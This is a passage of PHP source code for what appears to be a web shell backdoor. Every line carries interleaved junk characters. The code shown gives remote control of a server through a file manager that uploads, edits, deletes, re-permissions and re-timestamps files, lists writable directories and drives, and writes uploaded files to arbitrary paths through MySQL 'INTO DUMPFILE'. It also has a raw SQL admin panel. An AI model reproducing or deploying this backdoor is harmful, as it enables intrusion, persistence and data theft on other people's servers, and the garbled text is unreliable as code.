* W$ b. g- u0 R* P) [& v& h - makehide('newperm');8 c! j9 V0 P$ ~; _" m
- makehide('pfile');
- A. t2 n% V) v& p% R: ^9 M - makehide('dir',$nowpath);: u! ?, X f' i2 M2 T9 O
- formfoot();
; @/ u: W! W% ]% m0 K - formhead(array('name'=>'copyfile'));
5 P. d! J1 F7 n1 D3 ~- |' c - makehide('sname');6 Z, T7 P1 Y. M D. |8 s+ d1 D
- makehide('tofile');
) N) Z8 m7 d' Y - makehide('dir',$nowpath);
4 D# y. ~* z% B7 d/ X" t- n - formfoot(); V. _, _ {$ `8 ?! G
- formhead(array('name'=>'rename'));
, E1 k2 ~% M* R - makehide('oldname');* C& h. g+ `7 g, n9 G) P5 z. V
- makehide('newfilename');" e4 |& _( Z# B7 h% C
- makehide('dir',$nowpath);, Z+ o" Z. w& _- S" N) J/ l
- formfoot();$ K; V4 `' g" |; n
- formhead(array('name'=>'fileopform'));0 l- @) m" e. x
- makehide('action');7 |( f5 b' T2 J, T$ \
- makehide('opfile');
. g1 k! m- U. \3 p; p% t - makehide('dir');! @6 t; j- E3 f' h& B! X
- formfoot();
! U1 Z, b4 M9 o# S3 A - ' F# D/ C8 \: Q0 O% \) t9 S! l0 j
- $free = @disk_free_space($nowpath);& b5 X5 @# a6 |6 _
- !$free && $free = 0;% p7 l% o. Y+ `) G
- $all = @disk_total_space($nowpath);
* t+ @4 U. s5 v8 w - !$all && $all = 0;
& b Q- y' q# F) b5 x3 ^( s - $used = $all-$free;
8 ~, d8 H% U; E/ Q( |: C - $used_percent = @round(100/($all/$free),2);
2 ^0 Y0 a1 N4 X - p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
" M$ @- d F9 w4 D3 _ - 6 F/ c1 _0 ~/ f% Z8 y" p2 }# N
- ?>& ]. k5 ?# c8 B9 w- m# `
- <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
; p% E6 `, J6 p7 ~( n9 h - <form action="" method="post" id="godir" name="godir">4 X( h9 P0 j, H3 W' c* j
- <tr>
/ W) a. v( d9 M% Z - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>: X6 o$ E% m# p u" i! f- i
- <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
, V& i2 h& K+ m0 h - <td nowrap><input class="bt" value="GO" type="submit"></td>. \9 L: a* K6 a6 U
- </tr>% \" u& l: \, n* X& |( s$ h
- </form>
. k% w) }- V2 T - </table>
/ w# {& e. k! n- ^3 w# ? - <script type="text/javascript">8 ~& y3 y% t; Q& Y
- function createdir(){
3 s7 N& \1 N0 `4 S4 i0 N - var newdirname;3 Z1 Q# W3 Z; o( s/ c7 _
- newdirname = prompt('Please input the directory name:', '');: _7 E, H" a. f: Z2 c
- if (!newdirname) return;" w, W, g# K7 N! P; c+ v3 U
- $('createdir').newdirname.value=newdirname;
Z, s/ P, a' l1 t: d4 R4 g - $('createdir').submit();6 X* T8 ~5 e1 c9 L' d; B* A
- }
7 O u; y, @6 K- L& K* L - function fileperm(pfile){
6 ]" r5 W9 _5 L5 H3 x8 y) i - var newperm;$ ~- c4 L j! k- f+ m3 M. |2 S) N9 T
- newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
/ U& U$ }# e( `6 x" ?, ]+ E - if (!newperm) return;
6 T% P3 y& r! T( t. Y! T- _ - $('fileperm').newperm.value=newperm;
6 a s- b6 O5 W3 G - $('fileperm').pfile.value=pfile;
7 `; `! y) m0 z - $('fileperm').submit();
' D/ l" p: H$ U- r+ I - }
6 b, S/ F7 {$ M) W1 T - function copyfile(sname){
% N: J3 c* c& ^3 Y3 w c) X* K - var tofile;
- |* i+ ?) I+ n/ J9 O' g - tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');+ l" _7 ^. d& n, V/ ]$ h% k6 _
- if (!tofile) return;
# J+ g: H* t' g9 G( T$ q - $('copyfile').tofile.value=tofile;9 U2 L8 D9 \* r+ Z2 k1 G! b
- $('copyfile').sname.value=sname;4 E5 R# j, w0 Q3 A1 [3 L( B, ~" ]
- $('copyfile').submit();- s" I$ j6 e. F
- }
* A- q" _: F5 f - function rename(oldname){
6 r$ ]* H2 u1 q) ` - var newfilename;
! {, A+ ]* f5 V8 E/ j - newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
- i# k! t$ O# o* p; ^. }6 U# e; @* E - if (!newfilename) return;
" w" r# b' |3 P9 v) h; x7 q. _ - $('rename').newfilename.value=newfilename;+ Z6 |$ R( l+ Z# A5 w2 H
- $('rename').oldname.value=oldname;% ]0 A1 D2 C# ]0 R+ L
- $('rename').submit();
" E' i% v/ {& T# i - }( w1 E, |9 ~3 X- r1 ]1 n
- function dofile(doing,thefile,m){
. D, r% r8 F. f - if (m && !confirm(m)) {
- @ V0 U+ B% t* s, Y - return;! N# H. S$ T" W# L1 p+ P! F
- }
$ y: S+ O7 H. a0 w) V/ r. f - $('filelist').doing.value=doing;
! ]/ e0 M2 B: ]; I8 u2 F9 p - if (thefile){+ p# _* m1 |5 K3 I! g1 g+ a
- $('filelist').thefile.value=thefile;
6 Q$ @8 U/ y! i: |% _' f+ ~ - }
6 {& L5 h4 H/ k4 @( w8 S1 A0 P' ^; m9 f - $('filelist').submit();
1 \& x6 ]6 D* D9 N* j& g0 G - }
, }4 l" x0 I$ J) s8 Y - function createfile(nowpath){
* K& P8 l) @/ O2 }+ ?" a - var filename;
, Y2 O8 x- j/ Y( O: [* f - filename = prompt('Please input the file name:', '');
0 c0 g1 _# ]( ~ M - if (!filename) return;% l) B$ L# N8 `/ i: ^8 F& T
- opfile('editfile',nowpath + filename,nowpath);
6 \/ s- Y3 z# e3 Y - }0 ^* m: ?8 h; T. ]" G
- function opfile(action,opfile,dir){0 p0 e4 Z1 Z& V" O" Q% D3 Q
- $('fileopform').action.value=action;
' q; ]9 s* s5 {) l1 e - $('fileopform').opfile.value=opfile;
1 S2 U$ O! O. b: I; U - $('fileopform').dir.value=dir;
. w6 a6 c- V5 t! u# W/ M - $('fileopform').submit();$ \2 I2 V* X9 S
- }4 v' ^1 s# R( E. d5 m1 C8 _
- function godir(dir,view_writable){7 k2 G" W, X+ Q$ q4 \
- if (view_writable) {/ K0 ~3 a5 m9 N$ _- g
- $('godir').view_writable.value=1;$ n" S" i! D! j* ]; a
- }
|3 ^/ ^$ S) ~5 h, e0 W - $('godir').dir.value=dir;6 ^. I" D; k8 F
- $('godir').submit(); R3 w0 _5 E8 F8 M9 k. r: W
- }) T& A- s! U! m% W/ \6 Q: K& H: V
- </script>( ~- o$ T& l2 z# Q1 _- g- w. ` g
- <?php7 h: c: ~/ p: i! r$ E
- tbhead();
4 Q2 N4 ?8 ~( G ]. b. Z - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
3 l- @ Q" P& b' g! \5 G& ^ - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
0 s( J, O( F f9 ~; N: m; m - p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
' M, V& z& n% @3 ?- v6 L6 `, ] - if ($view_writable) {
7 |. ^. `7 f# c* u, y - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');; @+ P1 G7 r. N3 E2 I9 s
- } else {
+ M4 J; X# l0 C+ W5 w - p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');) G) x5 g! }* |) B. a
- }
6 l8 m: _4 W) d9 f/ R" o - p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
1 n: j- J# G0 w - if (IS_WIN && IS_COM) {9 {0 T: i0 F0 m- K
- $obj = new COM('scripting.filesystemobject');
6 D: S: _$ E- r* I5 h$ F7 t - if ($obj && is_object($obj)) {$ j3 p7 R2 z% i2 u/ E5 s
- $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');. d) n3 h5 C; A% Y7 M% u, Z
- foreach($obj->Drives as $drive) {
$ g3 ] P3 {/ ?$ p) z - if ($drive->DriveType == 2) {, u' F8 F# W, U
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
. o: R( W/ B- d& I6 m - Free:'.sizecount($drive->FreeSpace).'
( }3 n2 C9 M9 V9 [) E" P1 u2 J - Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
2 f" Q4 g5 Q- w$ `+ k% f2 A - } else {
3 @- `$ H0 g- L7 u7 ] - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');. g$ I5 ~( Z* U/ b
- }% y4 [! d6 W: l7 \1 c. G2 \
- }8 `9 m5 u! l+ R; y, `' r
- }5 `2 P* S: `- f
- }
/ E1 S% m6 f t* |: o -
$ n! I, D7 f; g' s; a; b - p('</td></tr></form>');" f+ n* Y' M, g4 [) S5 r
-
7 |, H- C# v% K) @ - p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
8 g; e5 ~! F$ j% b0 } -
c+ X$ x( l4 O - //查看所有可写文件和目录8 P |, M3 b, Z: o$ T
- $dirdata=array();9 n* Q* C6 H! [) y; j6 W
- $filedata=array();
{2 y& a/ I0 @: I! @1 L6 o- k# z -
$ u1 D' N' H. E. x$ j& W - if ($view_writable) {3 K! g$ }# I6 r! b0 d2 p4 M
- $dirdata = GetList($nowpath);( d( [" h7 |: ]/ J3 H/ @3 U
- } else {
; J4 u s' [( y3 f% @: ` - // 目录列表
; b, s4 _! B$ o - $dirs=@opendir($dir);8 m$ J, j7 G6 e y# Q
- while ($file=@readdir($dirs)) {
3 [ i3 u# f; J4 x2 i - $filepath=$nowpath.$file;
* J9 W0 U5 J" W0 c3 ^! r - if(@is_dir($filepath)){8 ~' \* H) U4 a: }5 r
- $dirdb['filename']=$file; m) o- p" t" v0 L& Z( p
- $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
8 \0 {! [5 ~0 O8 l) I& x# J4 J - $dirdb['dirchmod']=getChmod($filepath);8 a3 Y; U" }1 f3 I6 [ h
- $dirdb['dirperm']=getPerms($filepath);* ~3 s: k+ w+ g1 O
- $dirdb['fileowner']=getUser($filepath);
1 G* v B* g5 e" M - $dirdb['dirlink']=$nowpath;; m# l1 q, b# |! N1 j5 \
- $dirdb['server_link']=$filepath;8 E0 E' O$ g5 E5 x! ~# f8 g4 L( y
- $dirdb['client_link']=ue($filepath);
9 N& d% Y# `2 w; z) q# U - $dirdata[]=$dirdb;7 S* O! i) x, v5 t; s* S2 x
- } else { 9 Q0 T4 d% l- ~* v2 q: o1 T
- $filedb['filename']=$file;! l& q8 h% t" p) f# B- T
- $filedb['size']=sizecount(@filesize($filepath));
% M; i! A# Y* y+ a. H M6 Q - $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));' B* d5 Q9 X4 p9 c6 {# i) `# T
- $filedb['filechmod']=getChmod($filepath);- _6 [( b- k, q8 ]# r% Q. G
- $filedb['fileperm']=getPerms($filepath);
3 }; z2 U- J! T2 I- { - $filedb['fileowner']=getUser($filepath);
A, A+ \7 u4 v7 e - $filedb['dirlink']=$nowpath;) q5 S: q* J. c3 u9 w" s) o
- $filedb['server_link']=$filepath;
# ?5 d- C. v; s- `: E" Y - $filedb['client_link']=ue($filepath);
( w# \: [1 ~! Q* M! z - $filedata[]=$filedb;
8 i4 g ^+ P3 {9 p - }
7 U, n# D+ M( r/ `- }$ F/ g - }// while
- T* \7 e2 r f7 d, i - unset($dirdb);
7 Z/ d5 ` c2 ]# c6 v$ |& t - unset($filedb);
" T6 D6 R! K4 ?( c: L: Y - @closedir($dirs);. S+ H. n" L+ Q# o Y) `8 q5 K
- }
( v3 O- D. I# L - @sort($dirdata);
! Z" K- D: V! e3 t$ B% u# r - @sort($filedata);
: X0 ~" d. F" ` N1 y% V - $dir_i = '0';
! U) e# E3 `" a( U, p) R - foreach($dirdata as $key => $dirdb){+ @; N. ?$ J# p6 `% ?. C
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {0 e" b- O6 A& ?0 n
- $thisbg = bg();7 H j, \' R: q+ o. D
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');9 H) G- M) G2 `
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');$ D! F2 ]( D! r& |, |" i- K( W
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
( B# _: ?# H2 ^$ R! G/ Q - p('<td nowrap>'.$dirdb['mtime'].'</td>');
4 N/ H! |* M& v# Y9 c I1 H Q( s - p('<td nowrap>--</td>');3 v/ ^+ E5 b! T: r
- p('<td nowrap>');
2 l& b/ g r F2 [ - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
- V, j$ l% g% q; [& v) ` H - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
/ s* e5 M3 c7 }/ y* s1 U0 y - p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');) W1 M" R- B9 F ~% v; C2 a" N
- p('</tr>');
! Q6 m% J! p' U - $dir_i++;+ X& ~; F$ k( S- }+ _9 [
- } else {
# ?/ l- s1 K' @) I - if($dirdb['filename']=='..') {: R! h+ \' y, l6 A. x; }- Z& ]" a
- p('<tr class='.bg().'>');
; H. M% A- B! z. P6 s* V Z% e+ ` - p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
; \, T/ }0 D9 R* t& u+ W @ - p('</tr>');
9 ?/ g. s( S* \) J$ { - }7 Z( i0 S o. s) R1 H9 F/ Q
- }- F0 {; [) b8 ^
- }& w; g: ~8 | y/ L0 `
-
( R* f+ g4 D- S! q& t( d$ M - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');0 E* O. |; @- y. f+ r, B
- p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');3 O* O2 ]; [' y, n
- makehide('action','file');8 n, `5 z$ i' B, ?
- makehide('thefile');% V6 `" {/ v% I2 u1 ]
- makehide('doing');
5 F& f: ~& x$ S2 K+ x9 c* j+ P6 o - makehide('dir',$nowpath);2 O; p' P; u9 z6 ]
- $file_i = '0';% t/ Z8 k3 p& c0 ]( K
- foreach($filedata as $key => $filedb){% z1 U# r8 J% J- E* ?
- if($filedb['filename']!='..' && $filedb['filename']!='.') {
8 @8 D6 A/ |: U; i6 z - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
: Z* W9 Q9 K1 \+ Y w - $thisbg = bg();
4 R) u) c9 j4 N+ M0 \ - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');* ]$ h% q6 q4 f8 ~) ~
- p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');% }8 ~3 ~, @. n+ u2 n- z
- p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
9 u4 i) u* x1 r/ ]. U: u+ l" a; X. w - p('<td nowrap>'.$filedb['mtime'].'</td>');0 |% {6 `- n/ v& d
- p('<td nowrap>'.$filedb['size'].'</td>');
" y7 Z2 A7 U B% g - p('<td nowrap>');
6 c: y/ U& k: q* d; r O! [ - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');$ c3 D: {6 b" c# ~
- p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
" S' [# }: j4 o+ T1 \! L3 Z - p('<td nowrap>');
- l8 @: f9 q( o - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
! F( c( E/ S" U M - p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
2 y2 V; F+ R/ j# }8 _ ` - p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');1 _0 A2 C2 t' p$ j5 p
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');9 o7 E: s F4 Z4 G& k/ f
- p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');" B' G2 @, I( D7 O# p3 T/ y
- p('</td></tr>');
3 z1 S' Z' _! c& z. N' \ - $file_i++;( |+ n3 \3 ?# ?! a4 X4 p2 O
- }5 ]( {: H1 K* Y. `
- }
. m5 N- M4 L, z& l# F - p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
5 F: O( B% F# {- J - p('</form></table>');! V: j8 m1 _" c4 D
- }// end dir
8 e* N# [* [* D) Y* P/ G - 7 y1 x5 _. ^5 H: z3 g
- elseif ($action == 'sqlfile') {
: u2 | e+ D) ?. S3 `2 n5 f - if($doing=="mysqlupload"){
% b; C" n$ {5 @5 w4 e% P1 s - $file = $_FILES['uploadfile'];
! K8 m g, e+ z; {6 n3 p+ S - $filename = $file['tmp_name'];# P" J' f8 }0 e6 C6 g2 r d' b
- if (file_exists($savepath)) {4 ~1 I: L2 n9 B4 L0 U
- m('The goal file has already existed');9 Z7 z) Y" }. M1 C9 U
- } else {6 Q; b' J" F% a: _; Z/ W
- if(!$filename) {) ]; v% `$ |1 Q6 D3 W
- m('Please choose a file');0 I/ o) T1 n0 |. Z9 J6 M
- } else {
' Q/ R" C( a9 q& ~* E+ I7 }- P - $fp=@fopen($filename,'r');
: |( o5 U1 h' @6 |/ H7 M8 k - $contents=@fread($fp, filesize($filename));4 Y! k( K* C% B5 @1 \7 o0 ]( B
- @fclose($fp);
5 a9 E2 K4 n: Y5 W9 k9 O9 X3 N - $contents = bin2hex($contents);. @: L1 Q2 {# x; f2 K
- if(!$upname) $upname = $file['name'];% Y/ @5 m. _4 X' O1 a0 r7 W. O
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);) s8 p; P! j$ B/ c7 f$ `1 W+ G$ `
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
' h: E6 U% w* [. Q* N/ \ - m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
9 M7 U( v$ k# H; a. Z - }
9 ^3 P1 g2 V' Y- v* W - }
. F* k Z3 v5 ? - }7 n, S1 r) m% u2 E" J; U: c
- ?>( q% R. s8 @# A- B, o' }' P+ p
- <script type="text/javascript">. Z$ e0 U2 ~& W0 k, g6 q- Y7 {
- function mysqlfile(doing){
1 ~" E6 y7 \, ]7 d# u! \ - if(!doing) return;
2 K! {, @/ G! W0 I. f# B9 \ ` - $('doing').value=doing;
8 R4 x7 j: m5 m& e - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;, R, |$ p! V4 ]: m8 J
- $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
# ^+ T2 v4 o4 g8 B. n2 L0 Y) ` - $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;: z) q/ h9 `1 b" u' Y i. w
- $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;& c5 W1 z# U0 R1 x8 Q
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;0 w; V4 H* I& u
- $('mysqlfile').charset.value=$('dbinfo').charset.value;
4 w# [2 N# C9 z/ y - $('mysqlfile').submit();
/ j9 X* u, H3 b6 _7 w% Y( P7 m - }
0 J: O0 I6 {( M% k - </script>
1 W6 O$ v/ y0 m% C: ] - <?php
( u9 a) ~. _3 a' u. |3 n* z - !$dbhost && $dbhost = 'localhost';
$ H1 |) Y, n; D; ~( b! ?+ ^ - !$dbuser && $dbuser = 'root';: L$ L& s5 H/ K: ~! y' ]
- !$dbport && $dbport = '3306';
2 s# M- j6 L+ x# c - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
8 T7 A3 {/ c2 l( W7 X! w - formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));: `. d+ q* G2 x' G! N
- makehide('action','sqlfile');' S: |* x0 ? V. m7 p" S4 d! D
- p('<p>');
3 R7 g4 S( ~# e* X: `+ G - p('DBHost:');
* P; q! Q/ o1 S; s, s - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));; N3 B2 l+ W0 l% K
- p(':');: m& i* ]# R" Q2 b2 i
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
; X. c" K& G: z* \2 d/ ~ - p('DBUser:');5 `: f( j4 P+ @% X
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
, ?$ O- q5 X4 R. A - p('DBPass:');5 |- o: O6 q+ e# L
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));7 ^4 I8 F/ j$ G5 S8 u( F
- p('DBName:');
) I; K) w. z' Z; a9 u - makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
# V% ]' K7 w" m0 e# ~: F8 a - p('DBCharset:');: ?/ C* j$ ^1 P* S& A
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));$ o& D- [) s* f" g7 }% ^, q9 q- ~
- p('</p>');
/ o5 W6 R: K) h& f - formfoot();4 }! {$ z: A- D7 f
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
; E) ?( a0 e" a, g - p('<h2>Upload file</h2>');
* }' U1 x' ^7 N5 \% C5 ] - p('<p><b>This operation the DB user must has FILE privilege</b></p>');
7 z7 l- [1 M R, F9 Q - p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
/ O. _. l" I5 g" t+ c - p('<h2>Download file</h2>');: p9 o% m& |9 N, w" ]
- p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');- Y; F. A2 c ?+ ~
- makehide('dbhost');
% y* [: V0 [5 n8 a& q - makehide('dbport');
+ l& M, ^9 ~& k1 Q- z5 d6 q - makehide('dbuser');; t4 O! q7 E3 f" x9 Q
- makehide('dbpass');9 }2 i% q+ V7 i- W4 }
- makehide('dbname');7 H% x* q8 p/ ]' r6 N# B
- makehide('charset');- x; m3 M3 @# D2 ]( i
- makehide('doing');0 q9 R) b: }* m. R. l
- makehide('action','sqlfile');7 W# i* t* f# c. _4 ?8 \6 r U! V
- p('</form>');# z! m1 g. r- f
- }
1 L& ^) ~$ O5 L& R0 [4 t$ g -
# k7 w1 w" d' L/ N! K/ n - elseif ($action == 'sqladmin') {
: w! R6 w- F: s' u - !$dbhost && $dbhost = 'localhost';; W' T4 |6 B) \8 m6 s3 r
- !$dbuser && $dbuser = 'root';) y1 O8 h( \5 c- B
- !$dbport && $dbport = '3306';5 U/ z" @- q2 I7 E' T3 e- C
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';2 ]! m. B' c8 q8 X- W* d
- if(isset($dbhost)){& R9 x8 n! I, V
- $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
' `8 D, o6 l: C5 ^) v - }! E# l9 ~ r4 T7 C a5 Q+ j
- if(isset($dbuser)) {: T6 l# Z1 x- A" a2 m
- $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";2 m2 }. D8 N& L6 b
- }
8 q# m1 P2 ~- ~ A" F - if(isset($dbpass)) {" c; l$ {8 N( H
- $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";4 B8 F4 E; ?2 p4 x. |6 Q6 S4 H
- }
2 S9 ]* O4 J$ K5 Q. G/ w+ V+ m - if(isset($dbport)) {
8 Q, U% ` ^# D* \9 |' P& C - $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
$ X( e, \3 ^9 [# @6 b - }( ?0 ?5 @5 @) `% w
- if(isset($dbname)) {
3 `; @# `: l$ `+ _* m5 \ N - $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";- K3 ?% d2 C7 l# a j% g( z
- }- z7 q: |# U2 V
- if(isset($charset)) {
& K. ]+ r* Z8 o c - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";$ Q7 f ~/ q9 ]7 y2 u2 G
- }
: k; a8 O6 Y7 U! h2 R5 V) h -
) M2 F' }: W7 B) i" P - if ($doing == 'backupmysql' && $saveasfile) {& N) o9 V7 ]& i+ }: m8 a9 o6 L' K
- if (!$table) {
2 Y' M" H" b5 _/ k8 c7 V! j2 o) a - m('Please choose the table');& ^6 d6 ?1 |8 K( h1 R- _, K: F
- } else {! k3 @% i1 m5 l$ l0 t6 G
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |, F) h1 c3 y7 M; E h
- $table = array_flip($table);2 X8 {5 ^5 h; m% y3 L
- $fp = @fopen($path,'w');
+ G9 U: A$ h& y; O# B" q0 y - if ($fp) {# ?& c/ `; D) ]1 k' N* G/ f
- $result = q('SHOW tables');
3 v" g2 ^# m, Z& d$ g - if (!$result) p('<h2>'.mysql_error().'</h2>');
1 `, J, R' M$ a - $mysqldata = '';6 n( ~- q- K# Q
- while ($currow = mysql_fetch_array($result)) {
8 E; {8 m" m# m( J - if (isset($table[$currow[0]])) {5 |7 u0 b2 u0 |0 `. D
- sqldumptable($currow[0], $fp);
2 @% r& ?* q4 C: [; i) K/ _6 X9 R c; G - }
9 z& d5 U6 E1 J) ^ - }
! f1 [" a( k9 p - fclose($fp);) E0 W. h8 ?0 g% }3 W9 N
- $fileurl = str_replace(SA_ROOT,'',$path);
$ T c6 A3 s1 J+ U. O - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
: @* V4 \! L/ @% N2 S& S! ? - mysql_close();
% V: M; Q7 I5 S b - } else {# G' ?3 n5 N& A$ f" I) q- C
- m('Backup failed');
- o! p& q. s m) y) C - }
0 Y6 p* g$ v M. Y0 R - }
$ k2 i" m1 Q2 t2 F - }
, B C' g/ ^% }. w! m - if ($insert && $insertsql) {
+ g4 x5 m/ M3 j4 n; D. r U7 C) R - $keystr = $valstr = $tmp = '';! A) U! o/ p) A
- foreach($insertsql as $key => $val) {. V( c) ^+ ~; [) n0 k8 c
- if ($val) {
m- D3 H6 K4 r W+ a' i* R - $keystr .= $tmp.$key;
! l" v* @7 f" l - $valstr .= $tmp."'".addslashes($val)."'";; n' s1 B8 y4 Y) P9 a
- $tmp = ',';
; c: Z1 l1 i3 t: ? t - }/ v4 l6 f" N. Q% T; T# _
- }" B9 {; B; P4 G
- if ($keystr && $valstr) {& |2 }4 j. z% Q
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
. i" d- y+ H$ }3 C5 X - m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
* s) Z& U3 K1 L! _3 w3 B. w - }3 M$ X$ ` x2 j
- }6 g( A9 v3 k4 K& h6 C5 O3 u0 K
- if ($update && $insertsql && $base64) {7 T$ Z* b4 ~1 Z& d- ~( Y$ a( A
- $valstr = $tmp = '';
* z7 {7 [9 N, B5 L - foreach($insertsql as $key => $val) {
4 Y1 B+ g1 N, F, ~+ t - $valstr .= $tmp.$key."='".addslashes($val)."'";2 B+ e9 v# } ?: f: |+ [" g
- $tmp = ',';2 B8 l' k7 A: N5 d% z' y: L, M4 @
- }
! T( u; X. V8 ?' K4 N - if ($valstr) {( K% \/ R3 s9 L& J: q
- $where = base64_decode($base64);6 p% m! A. K" q1 H$ Z
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
: a1 R" f2 e0 E+ _ - m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
$ a- o. ^2 I3 s" y" q; @2 h7 b5 X - }) F) }+ _. | h& P! u& _' c
- }
6 G9 U0 K& J: c8 ~) q* l8 I - if ($doing == 'del' && $base64) {
; f v& _ U* F$ ~) S - $where = base64_decode($base64);4 l+ ~+ B T3 [
- $delete_sql = "DELETE FROM $tablename WHERE $where";
